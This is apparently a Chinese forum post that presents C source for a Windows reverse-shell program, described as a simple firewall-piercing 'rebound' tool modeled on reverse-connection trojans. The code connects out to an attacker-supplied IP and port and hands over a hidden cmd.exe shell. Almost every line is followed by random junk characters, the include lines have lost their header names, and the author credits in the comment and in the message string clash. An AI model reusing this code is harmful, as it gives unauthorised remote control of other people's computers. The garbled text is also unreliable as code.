这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 A.@Af+
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/* ============================== rtY4B~_
Rebound port in Windows NT 7UA|G2Zr
By wind,2006/7 &j_:VP
===============================*/ -e(,>9Q
#include U7@)RJ
#include \B1<fF2
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#pragma comment(lib,"wsock32.lib") k>mqKzT0$+
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void OutputShell(); -|x YT+?%
SOCKET sClient; OJ2I (8P
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; bJ6@
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void main(int argc,char **argv) )o>1=Y`[z
{ ?7CHHk
WSADATA stWsaData; R4P$zB_<2
int nRet; DA-W =Cc
SOCKADDR_IN stSaiClient,stSaiServer; O| zLD
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if(argc != 3) 1?5UVv_F
{ n^7m^1to
printf("Useage:\n\rRebound DestIP DestPort\n"); W99Hq1W;r
return; <;.->73E
} PZsq9;P$
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WSAStartup(MAKEWORD(2,2),&stWsaData); /'g"Ys?3
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S+Vsy(
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stSaiClient.sin_family = AF_INET; sg!*%*XQ
stSaiClient.sin_port = htons(0); LJII7<k
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |`i.8
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Vj{}cL"MR
{ 9}DF*np`G
printf("Bind Socket Failed!\n"); LwL\CE_6+
return; 0nOp'Ky\k
} =gb(<`{>
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stSaiServer.sin_family = AF_INET; 6ISDY>p
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); L.M|o
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q\gvX
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?=X_a{}/
{ maopr$r
printf("Connect Error!"); &$
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return; z`Cq,Sz/
} 1=X"|`<!
OutputShell(); B{+ Ra
} zu-1|XX
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void OutputShell() K9+C3"*I
{ ,BCo/j
char szBuff[1024]; +m8gS;'R4
SECURITY_ATTRIBUTES stSecurityAttributes; N>J"^ GX
OSVERSIONINFO stOsversionInfo; ~0~f
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; OK"B`*
STARTUPINFO stStartupInfo; P Zc{wbjp&
char *szShell; \d)~. 2$G*
PROCESS_INFORMATION stProcessInformation; 1S26Y|L)
unsigned long lBytesRead; SWGD(]}uz
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Oor&1
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Qy+&N*k>
stSecurityAttributes.lpSecurityDescriptor = 0; zz+p6`
stSecurityAttributes.bInheritHandle = TRUE; ;Pi-H,1b
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); A+Xk=k5<
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #=hI}%n
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B "z`X!\
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T]fu[yRVvg
stStartupInfo.wShowWindow = SW_HIDE; Cp@'
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stStartupInfo.hStdInput = hReadPipe; ?]#U~M<'
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Aj;F$(su
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GetVersionEx(&stOsversionInfo); 79 svlq=
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switch(stOsversionInfo.dwPlatformId) 3+EAMn
{ bf3Njma%
case 1: UHEn+Tc>
szShell = "command.com"; r6Hdp
break; S^Z[w|1
default: 0`
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szShell = "cmd.exe"; F9Ag687w
break; 9w=GB?/
} -&ic%0|f
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :OVre*j
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send(sClient,szMsg,77,0); &l=%*`On
while(1) >7VOytc
{ 2y&m8_s-p
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0DBA 'Cv
if(lBytesRead) R`F54?th
{ w<hw>e^.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |nN{XjNfP5
send(sClient,szBuff,lBytesRead,0); .#,!&Lt
} @k!J}O
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else 3YG[~o|4
{ W(oJ{R&m{
lBytesRead=recv(sClient,szBuff,1024,0); V^P]QQ\
)
if(lBytesRead<=0) break; 3K/32Wi
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); N;9m&)@JR'
} <#s=78
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} k|$08EK $
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return; ]{r*Z6bs
}